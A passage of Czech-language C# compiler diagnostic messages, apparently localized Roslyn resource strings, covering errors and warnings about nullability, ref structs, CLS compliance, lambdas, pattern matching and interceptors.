poznámek #nullable. Automaticky vygenerovaný kód vyžaduje explicitní direktivu #nullable ve zdroji. + Rozhraní s deklarací CoClassAttribute neobsahuje deklaraci ComImportAttribute. + pole parametrů lambda + Přidělená instance není uvolněná v průběhu všech cest výjimek. + 'Očekávalo se klíčové slovo in. + V odkazovaném sestavení {0} je chyba. + Možnost použití hodnoty null u typu parametru neodpovídá přepsanému členu (pravděpodobně kvůli atributům možnosti použití hodnoty null) + Název elementu řazené kolekce členů {0} je zakázaný v jakékoliv pozici. + Došlo k indexování pole záporným indexem (indexy polí vždy začínají hodnotou 0). + Atribut CLSCompliant nemá žádný význam při použití u typů vrácených hodnot. Použijte jej místo toho u metody. + Typ {0} zadaný pro metodu Main musí být neobecná třída, záznam, struktura nebo rozhraní. + Tato kombinace argumentů parametru může vystavit proměnné, na které odkazuje parametr, mimo obor jejich deklarace + Optimální přetěžovaná metoda Add {0} pro element inicializátoru kolekce je zastaralá. {1} + Kontrola kompatibility se specifikací CLS se neprovede, protože není viditelná zvnějšku tohoto sestavení. + Částečné deklarace {0} mají nekonzistentní omezení parametru typu {1}. + Prvek {0} zadaný pro metodu Main se nenašel. + Použití pole třídy marshal-by-reference jako hodnoty Ref nebo Out nebo převzetí jeho adresy může způsobit běhovou výjimku. + vzor and + Není zadán žádný argument, který by odpovídal požadovanému parametru {0} v {1} + Název {0} neodpovídá příslušnému parametru Deconstruct {1}. + Zadaný druh zdrojového kódu je nepodporovaný nebo neplatný: {0}. + Vrací podle odkazu člen parametru, který je přiřazen k aktuální metodě. + Nejde zadat výchozí hodnotu pro pole parametrů. + Přiřazení provedené u stejné proměnné + Neplatný název pro symbol předzpracování; {0} není platný identifikátor. + {0} nemůže implementovat {1} a zároveň {2}, protože u některých náhrad parametrů typu může dojít k jejich sjednocení. + Typ {0} předaný do sestavení {1} je v konfliktu s typem {2} exportovaným z modulu {3}. + Typ {2} musí být typ, který nemůže mít hodnotu null, aby ho bylo možné používat jako parametr {1} v obecném typu nebo metodě {0}. + Statické typy se nedají používat jako typy vracených hodnot + Metoda nemá správný podpis, takže nemůže být vstupním bodem. + Duplicitní modifikátor {0} + kontravariantně + Vzory seznamů se nedají používat pro hodnotu typu {0}. + {0} nelze převést na typ {1}, protože návratový typ se neshoduje s návratovým typem delegáta. + Po specifikátoru verbatim se očekávalo klíčové slovo, identifikátor nebo řetězec: @ + Modifikátor {0} není platný pro tuto položku v jazyce C# {1}. Použijte prosím verzi jazyka {2} nebo vyšší. + V explicitní implementaci rozhraní {0} chybí přistupující objekt {1}. + 'Objekt {2} musí být neabstraktního typu s veřejným konstruktorem bez parametrů, jinak jej nejde použít jako parametr {1} v obecném typu nebo metodě {0}. + {0}: Nadřazený typ neimplementuje rozhraní {1}. + {0}: Struktury REF nemůžou implementovat rozhraní. + Metoda '{0}' musí být neobecná nebo musí mít aritu {1}, aby odpovídala '{2}'. + Nenašla se implementace vzorku dotazu pro typ zdroje {0}. Nenašel se prvek {1}. Nechybí odkazy na požadovaná sestavení nebo direktiva using pro System.Linq? + Operátory definované uživatelem nemůžou vracet typ void. + Typ odkazu s možnou hodnotou null v typu parametru neodpovídá implicitně implementovanému členu. + binární literály + Nejde vytvořit pole se zápornou velikostí. + vyřazení na základě vzoru + statické třídy + omezení pro metody přepsání a explicitní implementace rozhraní + Příkaz yield nejde používat uvnitř anonymních metod a výrazů lambda. + Typ {0} nemůže být vložený, protože má obecný argument. Zvažte nastavení vlastnosti Vložit typy spolupráce na hodnotu false. + U zdrojového souboru se překročil limit 16 707 565 řádků, které může soubor PDB obsahovat. Ladicí informace budou nesprávné. + struktury REF + operátor indexu + {0} neimplementuje člen rozhraní {1}. {2} není veřejný. + Argument InterpolatedStringHandlerArgument nemá při použití u parametrů lambda žádný účinek a bude se ignorovat v lokalitě volání. + {1} nedefinuje parametr typu {0}. + Nepoužívejte „_“ jako konstantu case. + Typ příjemce {0} není platným typem záznamu a není typem struktury. + Operátor typeof nejde použít na tento dynamický typ. + Operandem operátoru přičtení nebo odečtení musí být proměnná, vlastnost nebo indexer. + Přepínač /embed je podporovaný jen při vydávání souboru PDB. + Daný výraz nelze použít v příkazu fixed. + {0} nemůže být extern i abstract. + Vyžaduje se objekt typu, který se dá převést na {0}. + Nejde vytvořit instanci statické třídy {0}. + Použila se možná nepřiřazené pole {0}. + Případ příkazu switch není dostupný. Už se zpracoval v jiném případu nebo není možné pro něj najít shodu. + {0} skryje zděděný člen {1}. Pokud je skrytí úmyslné, použijte klíčové slovo new. + Neplatný znak unicode + Výrazy lambda, které se vrací pomocí odkazu, nejde převést na stromy výrazů. + Nejde definovat třídu nebo člen, který používá řazenou kolekci členů, protože se nenašel kompilátor požadovaný typem {0}. Chybí vám odkaz? + Chyba při podepisování výstupu pomocí veřejného klíče ze souboru {0} -- {1} + {0}: Nejde zadat třídu omezení a zároveň omezení class nebo struct. + Anonymní metody, výrazy lambda, výrazy dotazů a místní funkce uvnitř struktury nemají přístup k parametru primárního konstruktoru, který se používá také uvnitř členu instance. + Typ odkazu s možnou hodnotou null v typu parametru neodpovídá zachycovatelné metodě. + Direktiva using static se dá použít jenom u typů; {0} je obor názvů, ne typ. Zkuste radši použít direktivu using namespace. + Výraz lambda nejde použít jako argument dynamicky volané operace, aniž byste ho nejprve použili na typy delegát nebo strom výrazů. + Vrácení podle hodnoty se dají používat jenom v metodách, které vracejí podle hodnoty. + Výsledek výrazu stackalloc typu {0} nejde v tomto kontextu použít, protože může být vystavený mimo obsahující metodu. + obecné atributy + Výraz filtru je konstantní hodnota true. Zvažte odebrání filtru. + Neplatný typ zadaný jako argument atributu TypeForwardedTo + Delegáta s {0} nejde vytvořit, protože ten nebo metoda, kterou přepisuje, má atribut Conditional. + Použití výchozího literálu není v tomto kontextu platné. + Neočekávané klíčové slovo unchecked + Seznam požadovaných členů pro {0} má chybný formát a nelze ho interpretovat. + Typ {0} nejde implicitně převést na typ {1}. Existuje explicitní převod. (Nechybí výraz přetypování?) + Instance analyzátoru {0} nejde vytvořit z {1} : {2}. + Direktiva Using se už v tomto oboru názvů objevila dříve. + Komentář XML má atribut cref, který se nedal vyřešit. + System.Runtime.CompilerServices.TupleElementNamesAttribute nejde odkazovat explicitně. K definici názvů řazené kolekce členů použijte její syntaxi. + Neplatné číslo + Delegát {0} nepřevezme tento počet argumentů: {1}. + {0} skryje zděděný abstraktní člen {1}. + Duplicitní parametr typu {0} + Optimální přetěžovaná metoda Add pro element inicializátoru kolekce je zastaralá. + vzor odpovídající ReadOnly/Span<char> na konstantním řetězci + Pro {0} jsou zadané různé hodnoty kontrolního součtu. + {0}: Událost musí být typu delegát. + EnumeratorCancellationAttribute, který se používá u parametru {0}, nebude mít žádný účinek. Tento atribut je platný jenom u parametru typu CancellationToken v metodě async-iterator, která vrací IAsyncEnumerable. + Po příkazu yield return se očekával výraz. + Přepínač /sourcelink je podporovaný jen při vydávání PDB. + Typ odkazu s možnou hodnotou null v hodnotě neodpovídá cílovému typu. + Typ odkazu s možnou hodnotou null v typu parametru neodpovídá implementovanému členu. + První argument atributu zabezpečení musí být platný SecurityAction. + {0}: Externí událost nemůže mít inicializátor. + Nepoužívejte System.Runtime.CompilerServices.ScopedRefAttribute. Místo toho použijte klíčové slovo scoped. + V deklaraci proměnné rozsahu nejde použít kontextové klíčové slovo var. + Neplatný externí alias pro parametr /reference; {0} je neplatný identifikátor. + Člen skrývá zděděný člen. Chybí klíčové slovo override. + Atribut FieldOffset jde použít jenom pro členy typů s deklarací StructLayout(LayoutKind.Explicit). + Komentář XML má duplicitní značku param. + zabezpečení odchylky pro statické členy rozhraní + typ + {0}: Statické typy nejde používat jako argumenty typu. + Výraz throw není v tomto kontextu povolený. + Výraz switch nezachycuje některé hodnoty vstupního typu (není úplný) včetně nepojmenované hodnoty výčtu. + CallerLineNumberAttribute použitý u parametru {0} nebude mít žádný účinek, protože se aplikuje u člena, který se používá v kontextech nepovolujících volitelné argumenty. + Očekával se přetěžovatelný binární operátor. + Nebyl nalezen optimální typ pro implicitně typované pole. + Prázdný znak není v tomto místě povolený. + Komentář XML není umístěný v platném prvku jazyka. + Ve výrazu stackalloc nejde použít zápornou velikost. + Chyba syntaxe příkazového řádku: Nenašla se hodnota {0} pro možnost {1}. + Ukazatele a vyrovnávací paměti pevné velikosti jde použít jenom v nezabezpečeném kontextu. + Přetěžovaná metoda lišící se jenom nepojmenovanými typy pole není kompatibilní se specifikací CLS. + Parametr out se musí přiřadit ještě předtím, než metoda předá řízení + Chyba při sestavování prostředků Win32 -- {0} + Ve stromech výrazů nejde používat částečné metody, pro které existuje jenom definující deklarace, nebo odebrané podmíněné metody. + Název elementu řazené kolekce členů {0} je odvozený. Pokud k elementu chcete získat přístup pomocí jeho odvozeného názvu, použijte prosím jazyk verze {1} nebo vyšší. + Možná došlo k neúmyslnému porovnání ukazatelů; chcete-li porovnat hodnoty, přetypujte pravou stranu na typ {0}. + Komentář XML má duplicitní značku typeparam. + Použila se nepřiřazená lokální proměnná {0}. + Typy a aliasy nemůžou mít název file. + Atribut CallerArgumentExpressionAttribute nebude mít žádný účinek. Přepisuje ho atribut CallerLineNumberAttribute. + Sestavení {0} s identitou {1} používá {2} s vyšší verzí, než jakou má odkazované sestavení {3} s identitou {4}. + Vrací parametr podle odkazu {0} prostřednictvím parametru odkazu; je možné ho však bezpečně vrátit pouze v příkazu return. + Neobecnou možnost {1} {0} nejde použít s argumenty typů. + Inicializátory polí struktury + Název sestavení {0} je rezervovaný a nedá se použít jako odkaz v interaktivní relaci. + V signatuře metody s atributem UnmanagedCallersOnly se nedají použít hodnoty ref, in ani out. + Typ definuje operátor == nebo !=, ale nepřepisuje funkci Object.Equals(object o). + Parametr {0}, který má typ podobný odkazu, nejde použít uvnitř anonymní metody, výrazu lambda, výrazu dotazu nebo místní funkce. + {0}: Typ musí být {2}, aby odpovídal přepsanému členu {1}. + Logický bitový operátor or se použil pro operand s rozšířeným podpisem. Zvažte nejprve možnost přetypování na menší nepodepsaný typ. + Výraz filtru je konstantní hodnota false. + Vyrovnávací paměti pevné velikosti obsažené ve volném výrazu nejde používat. Použijte příkaz fixed. + Nejde převzít adresu daného výrazu. + Strom výrazu nesmí obsahovat {0}. + Nejde zadat výchozí hodnotu parametru v kombinaci s atributy DefaultParameterAttribute nebo OptionalAttribute. + Typ {2} nejde použít jako parametr typu {1} v obecném typu nebo metodě {0}. Typ argumentu {2} s možnou hodnotou null neodpovídá omezení třídy. + Pro typ {0} s výstupními parametry ({1}) a návratovým typem void se nenašla žádná vhodná instance Deconstruct nebo rozšiřující metoda. + Položka {0} je explicitně implementována více než jednou. + Metoda rozšíření musí být definovaná v neobecné statické třídě. + Attribute parameter 'SizeConst' must be specified. + {0} je typu {1}. Pole const s jiným než řetězcovým typem odkazu jde inicializovat jenom hodnotou null. + {0} není platný specifikátor konvence volání pro ukazatel na funkci. + Typ odkazu s možnou hodnotou null ve vráceném typu neodpovídá implementovanému členu {0}. + Omezení new() nejde používat s omezením struct. + Klíčové slovo __arglist není povolené v seznamu parametrů asynchronních metod. + Nelze zachytit: Kompilace neobsahuje soubor s cestou{0}. + Operátor {0} se tady nedá použít kvůli prioritám. Odstraňte nejednoznačnost pomocí závorek. + Parametr musí mít při ukončení hodnotu jinou než null + Nepoužívejte System.Runtime.CompilerServices.ExtensionAttribute. Místo toho použijte klíčové slovo this. + požadovaní členové + Očekával se přistupující objekt add nebo remove. + Ovládací prvek nemůže opustit tělo anonymní metody nebo výrazu lambda. + Zastaralý člen přepisuje nezastaralý člen. + Pokud {1} není SignatureCallingConvention.Unmanaged, předání hodnoty {0} není platné. + Omezení typu třídy {0} musí předcházet všem dalším omezením. + Použití pravděpodobně nepřiřazené automaticky implementované vlastnosti {0} + Sestavení analyzátoru {0} odkazuje na verzi {1} kompilátoru, která je novější než aktuálně spuštěná verze {2}. + {0} musí odpovídat návratu pomocí odkazu přepsaného člena {1}. + CallerFilePathAttribute nebude mít žádný efekt. Přepisuje ho CallerLineNumberAttribute. + Skupiny metod rozšíření nejsou povolené jako argument pro nameof. + Proměnnou podle hodnoty nejde inicializovat odkazem. + Tělo metody async-iterator musí obsahovat příkaz yield. Zvažte odebrání položky async z deklarace metody nebo přidání příkazu yield. + {0} neobsahuje definici pro {1} a nenašla se žádná dostupná metoda rozšíření {1}, která by přijímala první argument typu {0}. (Nechybí direktiva using nebo odkaz na sestavení?) + {1} {0} nejde použít s argumenty typů. + V tomto kontextu nejde výraz použít, protože může nepřímo vystavit proměnné mimo jejich rozsah deklarace. + Po parametru obslužné rutiny dojde k převodu parametru na obslužnou rutinu interpolovaného řetězce + Částečná metoda nesmí mít víc definujících deklarací. + Atribut CallerArgumentExpressionAttribute použitý u parametru {0} nebude mít žádný účinek. Argument je použitý s neplatným názvem parametru. + Odkaz na sestavení {0} je neplatný a nedá se vyhodnotit. + Tento odkaz přiřadí hodnotu, která má užší řídicí obor než cíl. + Statické třídy nemůžou mít konstruktory instancí. + 'Operátor await vyžaduje, aby typ {0} měl odpovídající metodu GetAwaiter. + V tomto kontextu nejde použít člena výsledku z {0}, protože může vystavit proměnné, na které odkazuje parametr {1}, mimo jejich rozsah deklarace. + Implicitně zadaný parametr lambda {0} nemůže mít výchozí hodnotu. + Typ {1} už rezervuje člen s názvem {0} se stejnými typy parametrů. + Automaticky implementovanou vlastnost {0} nelze označit modifikátorem readonly, protože má přístupový objekt set. + Typ argumentu není kompatibilní se specifikací CLS. + Nerozpoznaná řídicí sekvence + Parametr nemá odpovídající značku param v komentáři XML (na rozdíl od jiných parametrů). + Výraz switch nezpracovává některé vstupy s hodnotou null. + Zděděné rozhraní {1} způsobuje cyklus v hierarchii rozhraní {0}. + Typ nebo název oboru názvů {0} se nenašel v globálním oboru názvů. (Nechybí odkaz na sestavení?) + Nelze zachytit {0}, protože se nejedná o vyvolání běžné členské metody. + Nejde použít operátor await ve výrazu filtru klauzule catch. + Výrazy inicializátoru pole jde používat jenom pro přiřazení k typům pole. Zkuste použít výraz new. + Literál s hodnotou null nebo s možnou hodnotou null se převádí na typ, který nemůže mít hodnotu null. + Proměnné s implicitním typem musí být inicializované. + Deklarace parametru typů musí být identifikátor, ne typ. + primární konstruktory + Před vrácením řízení volajícímu se musí plně přiřadit automaticky implementovaná vlastnost {0}. Zvažte aktualizaci jazykové verze {1} na automatické výchozí nastavení vlastnosti. + {0}: Ve struktuře je deklarovaný nový chráněný člen. + {0}: Statické třídy nemůžou obsahovat chráněné členy. + Objekt this se přečte před přiřazením všech jeho polí, což způsobí, že předchozí implicitní přiřazení default k ne explicitně přiřazeným polím. + {0}: Nejde deklarovat členy instance ve statické třídě. + Volajícímu se vrátí ovládací prvek před explicitním přiřazením automaticky implementované vlastnosti, což způsobí předchozí implicitní přiřazení default. + Spustitelné soubory nemůžou být satelitními sestaveními; jazyková verze by vždy měla být prázdná. + Metodě chybí poznámka [DoesNotReturn], která by odpovídala implementovanému nebo přepsanému členu + Použití klíčového slova base není v tomto kontextu platné. + Typ {0} je definovaný jako sestavení, na které se neodkazuje. Je nutné přidat odkaz na sestavení {1}. + {0} přidává přistupující objekt, který se nenašel v členu rozhraní {1}. + Nerozpoznaná možnost: {0} + Asynchronní metody nejsou povolené v rozhraní, třídě nebo struktuře, které mají atribut SecurityCritical nebo SecuritySafeCritical. + Atribut CallerArgumentExpressionAttribute nejde použít, protože neexistuje žádný standardní převod z typu {0} na {1}. + Prvním operandem operátoru is nebo as nesmí být výraz lambda, anonymní metoda ani skupina metod. + Přístup k poli nemůže mít specifikátor pojmenovaného argumentu. + Skupinu metod nejde použít jako argument v dynamicky volané operaci. Měli jste v úmyslu tuto metodu vyvolat? + operátor rozsahu + Pole určené jen pro čtení nejde použít jako hodnotu Ref nebo Out (kromě případu, kdy se nachází uvnitř konstruktoru). + Volání v souboru s cestou {0} nelze zachytit, protože tuto cestu má více souborů v kompilaci. + Proběhlo volání funkce GetDeclarationName kvůli uzlu deklarací, který by mohl obsahovat několik variabilních deklarátorů. + Tato chyba se objeví, pokud máte přetěžovanou metodu, která přebírá vícenásobné pole, a jediný rozdíl mezi signaturami metody je typ elementu tohoto pole. Aby nedošlo k této chybě, zvažte použití pravoúhlého pole namísto vícenásobného, použijte další parametr, aby volání této funkce bylo jednoznačné, přejmenujte nejmíň jednu přetěžovanou metodu nebo (pokud kompatibilita s CLS není nutná) odeberte atribut CLSCompliantAttribute. + Výraz switch nezpracovává všechny možné hodnoty typu svého vstupu (není úplný). Například vzor {0} není vyřešený. Vzor s klauzulí when však může této hodnotě úspěšně odpovídat. + Názvy prvků řazené kolekce členů v signatuře metody {0} se musí shodovat s názvy prvků řazené kolekce členů metody rozhraní {1} (a zároveň u návratového typu). + Objekt this se přečte před přiřazením všech jeho polí, což způsobí, že předchozí implicitní přiřazení default k ne explicitně přiřazeným polím. + Vrací podle odkazu člen parametru {0}, který je přiřazen k aktuální metodě + Duplicitní atribut {0} v {1} + asynchronní funkce + Neplatný formát informací o ladění: {0} + Příkaz goto nemůže přejít na místo před deklarací using ve stejném bloku. + Přístupové objekty {0} a {1} by měly být buď oba jenom pro inicializaci, nebo ani jeden. + Asynchronní metody nemůžou mít parametry typu ukazatele. + Příkaz nemůže začínat na else. + Člen přepisuje nezastaralý člen. + Není možné k {0} {1} nebo jej použít jako pravou stranu přiřazení odkazu, protože se jedná o proměnnou pouze pro čtení + U syntaxe var pro vzor se nepovoluje odkazování na typ, ale {0} je tady v rámci rozsahu. + Asynchronní metody nemůžou mít lokální proměnné podle odkazu. + Argument {0} should be passed with the 'in' keyword + omezení obecného typu notnull + Jenom automaticky implementované vlastnosti můžou mít inicializátory. + Položka „struct“ s inicializátory pole musí obsahovat explicitně deklarovaný konstruktor. + Nejde vytvořit krátký název souboru {0}, protože už existuje dlouhý název souboru se stejným krátkým názvem. + Parametr operátoru ++ nebo -- musí být nadřazeného typu nebo jeho parametrem obecného typu, který se na něj omezuje. + Místní typ souboru{0}musí být definován v typu nejvyšší úrovně. „{0}“ je vnořený typ. + Atribut {0} není platný pro přístupové objekty události. Je platný jenom pro deklarace {1}. + #warning: {0} + Statický člen není možné označit jako{0} + Pro vlastnost nebo indexer {0} i jejich přístupový objekt nelze zadat modifikátory readonly. Odeberte jeden z nich. + Před explicitním přiřazením se přečte pole, což způsobí předchozí implicitní přiřazení default. + Zadané číslo řádku a znaku neodkazuje na název zachycovací metody, ale na token {0}. + Levou stranou přiřazení musí být proměnná, vlastnost nebo indexer. + Cílový modul runtime nepodporuje vložené typy polí. + Člen {0} označený jako override nejde označit jako new nebo virtual. + V deklaracích metod, {0} a {1} se musí používat stejné názvy prvků řazené kolekce členů. + Typ odkazu s možnou hodnotou null v typu parametru {0} z {1} neodpovídá implicitně implementovanému členu {2} (pravděpodobně kvůli atributům možnosti použití hodnoty null). + Členy struktury nemůžou vracet this nebo jiné členy instance pomocí odkazu. + {0}: Ne všechny cesty kódu vrací hodnotu. + V tomto kontextu nejde použít výsledek z {0}, protože může vystavit proměnné, na které odkazuje parametr {1}, mimo jejich rozsah deklarace. + Výraz switch nezachycuje všechny možné hodnoty vstupního typu (není úplný). Nezachycuje například vzor {0}. + Nejde předat typ {0}, protože se jedná o vnořený typ {1}. + Očekával se jednořádkový komentář nebo konec řádku. + Omezení nemůže být dynamický typ. + Parametr out {0} se musí přiřadit ještě předtím, než aktuální metoda předá řízení. + Neplatný název pro symbol předzpracování; neplatný identifikátor + Přípona l je snadno zaměnitelná s číslicí 1. V zájmu větší srozumitelnosti použijte písmeno L. + {0} v explicitní deklaraci rozhraní není rozhraní. + přístup k poli + Příjemce výrazu with musí mít neprázdný typ. + {0} nemůže přepsat {1}, protože ho tento jazyk nepodporuje. + Cannot initialize type '{0}' with a collection expression because the type is not constructible. + Vlastnost jenom pro inicializaci nebo indexer {0} se dá přiřadit jenom k inicializátoru objektu, pomocí klíčového slova this nebo base v konstruktoru instance nebo k přístupovému objektu init. + Skupina &metody {0} se nedá převést na typ delegáta {1}. + Modifikátor parametru {0} nejde použít s modifikátorem {1}. + Názvy elementů nejsou povolené při porovnávání vzorů přes System.Runtime.CompilerServices.ITuple. + Method '{0}' cannot be used as an interceptor because its containing type has type parameters. + Tento odkaz přiřazuje {1} k {0}, protože {1} má širší obor řídicích hodnot než {0}, který povoluje přiřazení prostřednictvím {0} hodnot s užšími řídicími obory než {1}. + Typ {0} nemůže být vložený, protože má reabstrakci člena ze základního rozhraní. Zvažte nastavení vlastnosti Vložit typy spolupráce na hodnotu false. + Nevyvolatelného člena {0} nejde použít jako metodu. + Hodnotou Ref nebo Out musí být proměnná s možností přiřazení hodnoty. + Musí být zadaný SyntaxTreeSemanticModel, aby se zajistila minimální kvalifikace typu. + Agument CallerArgumentExpressionAttribute nebude mít žádný účinek. Přepisuje ho atribut CallerMemberNameAttribute. + Generátor se nepovedlo inicializovat + Typ {0} je definovaný v modulu, který jste nepřidali. Musíte přidat modul {1}. + Podmíněný výraz se nedá použít přímo v interpolaci řetězce, protože na konci interpolace je dvojtečka. Dejte podmíněný výraz do závorek. + Obor názvů {1} v {0} je v konfliktu s typem {3} v {2}. + {0}: Statický konstruktor musí být bez parametrů. + Parametr out nemůže obsahovat atribut In. + Argumenty s modifikátorem in se nedají použít v dynamicky volaných výrazech. + skupina metod + Asynchronní iterátor {0} má jeden nebo více parametrů typu CancellationToken, ale žádný z nich není dekorovaný atributem EnumeratorCancellation, takže parametr tokenu zrušení z vygenerovaného výrazu IAsyncEnumerable<>.GetAsyncEnumerator se nespotřebuje. + Atribut MemberNotNull + Do pole se nikdy nic nepřiřadí. Bude mít vždycky výchozí hodnotu. + Metoda {0} má modifikátor parametru this, který není na prvním parametru. + U řetězcových literálů se nesmí používat jiné uvozovky než ASCII. + Pro odkaz base se vyžaduje základní typ. + Neočekávaná direktiva preprocesoru + Rozbalení možné hodnoty null + Typ {2} nejde použít jako parametr typu {1} v obecném typu nebo metodě {0}. Argument typu {2} s možnou hodnotou null neodpovídá omezení notnull. + Pro prvek {0} se neprovede kontrola kompatibility se specifikací CLS, protože není viditelný mimo toto sestavení. + Direktiva using pro {0} se dříve zobrazovala jako globální direktiva using. + {0}: Nejde přepsat, protože {1} není vlastnost. + V C# {2} nelze výraz typu {0} zpracovat vzorem typu {1}. Použijte prosím jazyk verze {3} nebo vyšší. + Proměnná {0} má přiřazenou hodnotu, ale nikdy se nepoužívá. + Operátor {0} nejde použít pro default a operand typu {1}, protože se jedná o parametr typu, který není znám jako odkazový typ. + Poznámka u typů odkazů s možnou hodnotou null by se měla v kódu používat jenom v kontextu poznámek #nullable. + Název elementu řazené kolekce členů {0} je povolený jenom v pozici {1}. + Víc než jeden modifikátor ochrany + Komentář XML má syntakticky nesprávný atribut cref {0}. + Sestavení analyzátoru odkazuje na novější verzi kompilátoru, než je aktuálně spuštěná verze. + {0} není tímto jazykem podporovaný. + Komentář XML má značku paramref, ale neexistuje parametr s tímto názvem. + Operátor await jde použít jenom v asynchronní metodě. Zvažte označení této metody pomocí modifikátoru async a změnu jejího návratového typu na Task. + Uvnitř členu instance nejde použít parametr primárního konstruktoru {0} typu odkaz, výstup nebo vstup. + Nelze aktualizovat {0}; chybí atribut {1}. + nepodepsaný pravý posun + Pokud existuje jednotka kompilace s příkazy nejvyšší úrovně, nedá se zadat /main. + Parametr primárního konstruktoru typu jen pro čtení nejde použít jako hodnotu odkazu nebo výstupu (s výjimkou nastavovacího kódu typu jenom pro inicializaci nebo inicializátoru proměnné). + CallerArgumentExpressionAttribute nebude mít žádný efekt. Přepisuje ho CallerFilePathAttribute. + {0}: V zapečetěném typu je deklarovaný nový chráněný člen. + Řízení se nedá předat z jednoho návěstí příkazu case ({0}) do jiného. + {0} nejde převést na typ {1}, protože to není typ delegáta. + Výraz lambda s tělem příkazu nejde převést na strom výrazu. + Metoda {0} určuje omezení default pro parametr typu {1}, ale odpovídající parametr typu {2} přepsané nebo explicitně implementované metody {3} není omezený na typ odkazu nebo hodnoty. + Modifikátor scoped parametru neodpovídá přepsanému nebo implementovanému členu. + Smíšené deklarace a výrazy v dekonstrukci + Kompilátor Microsoft (R) Visual C# + Řádek obsahuje jiné prázdné znaky než ukončovací řádek literálu nezpracovaného řetězce: {0} versus {1} + Typ {0} nejde převést na {1} prostřednictvím převodu odkazu, převodu zabalení, převodu rozbalení, převodu obálky nebo převodu s hodnotou null. + {0} slouží jen pro účely vyhodnocení a v budoucích aktualizacích může dojít ke změně nebo odebrání. + Ukazatel může být indexován jenom jednou hodnotou. + '{0}' má collectionBuilderAttribute, ale žádný typ elementu. + Použití typu ukazatele funkce v tomto kontextu není podporováno. + Není platné číslo varování. + Obě deklarace částečné metody musí mít modifikátor readonly, nebo nesmí mít modifikátor readonly žádná z nich. + lokální proměnné a vrácení podle odkazu + CallerArgumentExpressionAttribute použitý u parametru {0} nebude mít žádný vliv, protože odkazuje sám na sebe. + Nejde předat argument dynamického typu s parametrem params {0} místní funkce {1}. + Vložená metoda spolupráce {0} obsahuje tělo. + Optimální přetěžovaná metoda Add {0} pro element inicializátoru kolekce je zastaralá. + dynamický + Lokální proměnnou {0} nejde použít dřív, než je deklarovaná. Deklarace lokální proměnné skryje pole {1}. + Název elementu řazené kolekce členů se ignoruje, protože na druhé straně operátoru == nebo != řazené kolekce členů je určený jiný nebo žádný název. + Příkaz foreach ve vloženém poli typu '{0}' není podporován. + Člen musí mít při ukončení hodnotu jinou než null + Index je mimo hranice vloženého pole. + Po prvním tokenu v souboru nejde definovat symboly preprocesoru ani rušit jejich definice. + Možnosti kompilace {0} a {1} se nedají zadat současně. + příkazy nejvyšší úrovně + CallerMemberNameAttribute nebude mít žádný efekt, protože platí pro člena, který se používá v kontextech nedovolujících nepovinné argumenty. + Během kompilace v režimu kontroly došlo k přetečení. + kvalifikátor aliasu oboru názvů + Příkaz throw bez argumentů není povolený vně klauzule catch. + Neplatný operand pro porovnávací vzorek. Vyžaduje se hodnota, ale nalezeno: {0}. + Výraz foreach nejde použít na enumerátorech typu {0} v asynchronních metodách nebo metodách iterátoru, protože {0} je struktura REF. + Parametr se nepřečetl. Nezapomněli jste ho použít k inicializaci vlastnosti s daným názvem? + Konstantní hodnota {0} může při běhu přetéct {1} (pro přepis použijte syntaxi unchecked). + Událost {0} se nikdy nepoužívá. + Komentář XML není umístěný v platném prvku jazyka. + Chyba při zápisu do souboru dokumentace XML: {0} + obecné + 'Rozhraní {0} s deklarací CoClassAttribute neobsahuje deklaraci ComImportAttribute. + Pole elementu {0} nejde použít jako hodnotu Ref nebo Out, protože je {1}. + Použití pravděpodobně nepřiřazené automaticky implementované vlastnosti {0} + Pole {0} se nikdy nepoužívá. + Na tuto jmenovku se neodkazuje. + 'Duplicitní argument pojmenovaného atributu {0} + Nejde vytvořit odkaz na proměnnou typu {0}. + Operátor await jde použít, jenom pokud je obsažen v metodě nebo výrazu lambda označeném pomocí modifikátoru async. + Strom výrazů nesmí obsahovat literál řazené kolekce členů. + Porovnání provedené u stejné proměnné + Ukazatel na funkci se nedá zavolat s pojmenovanými argumenty. + Výrazy inicializátoru objektu a kolekce nejde použít na výraz vytvářející delegáta. + Komentář XML má duplicitní značku typeparam pro {0}. + {0}: Uživatelem definované převody na odvozený typ nebo z něj nejsou povolené. + Inicializátor objektu nebo kolekce implicitně přistupuje přes ukazatel ke členovi, který může být null + Typ neimplementuje člen rozhraní. Možnost použití hodnoty null u typů odkazů v rozhraní implementovaném podle základního typu se neshoduje. + {0} není platným specifikátorem formátu. + 'Await nejde použít ve výrazu, který obsahuje podmíněný operátor REF. + Parametr {0} se nepřečetl. Nezapomněli jste ho použít k inicializaci vlastnosti s daným názvem? + Člen asynchronního iterátoru má jeden nebo více parametrů typu CancellationToken, ale žádný z nich není dekorovaný atributem EnumeratorCancellation, takže parametr tokenu zrušení z vygenerovaného výrazu IAsyncEnumerable<>.GetAsyncEnumerator se nespotřebuje. + Už se naimportovalo sestavení se stejným jednoduchým názvem {0}. Zkuste odebrat jeden z odkazů (např. {1}) nebo je podepište, aby mohly fungovat vedle sebe. + Operátor await nejde použít v inicializátoru proměnné statického skriptu. + Nejde dědit rozhraní {0} se zadanými parametry typu, protože to způsobuje, že metoda {1} obsahuje víc přetížení, která se liší jen deklaracemi ref a out. + Název {0} není v oboru levé strany operátoru equals. Zvažte možnost vzájemné záměny výrazů na obou stranách operátoru equals. + CallerFilePathAttribute nejde použít, protože neexistuje žádný standardní převod z typu {0} na {1}. + Identifikátor {0} lišící se jenom použitím velkých a malých písmen není kompatibilní se specifikací CLS. + Literál null nejde převést na odkazový typ, který nemůže mít hodnotu null. + Nekonzistentní dostupnost: Typ vlastnosti {1} je míň dostupný než vlastnost {0}. + null není platný název parametru. Pokud chcete získat přístup k příjemci instanční metody, použijte jako název parametru prázdný řetězec. + Chyba při otevírání souboru prostředků Win32 {0} -- {1} + Prázdný specifikátor formátu + Možnost použití hodnoty null u návratového typu neodpovídá přepsanému členu (pravděpodobně kvůli atributům možnosti použití hodnoty null) + Bitový operátor or byl použitý pro operand s rozšířeným podpisem. + Výsledek výrazu je vždycky stejný, protože hodnota tohoto typu se nikdy nerovná hodnotě null. + U pole {0} v {1} selhal přístup pro členy s transparentním identifikátorem. Implementují dotazovaná data vzor dotazu? + delegovat obecná omezení typu + Typ odkazu s možnou hodnotou null v typu parametru neodpovídá implementovanému členu (pravděpodobně kvůli atributům možnosti použití hodnoty null) + Nelze použít číselnou konstantu ani relační vzor pro „{0}“, protože dědí z nebo rozšiřuje INumberBase<T>. Zvažte použití vzoru typu k zúžení na konkrétní číselný typ. + CallerLineNumberAttribute nejde použít, protože neexistuje žádný standardní převod z typu {0} na {1}. + 'Alias extern není v tomto kontextu platný. + Seznam požadovaných členů 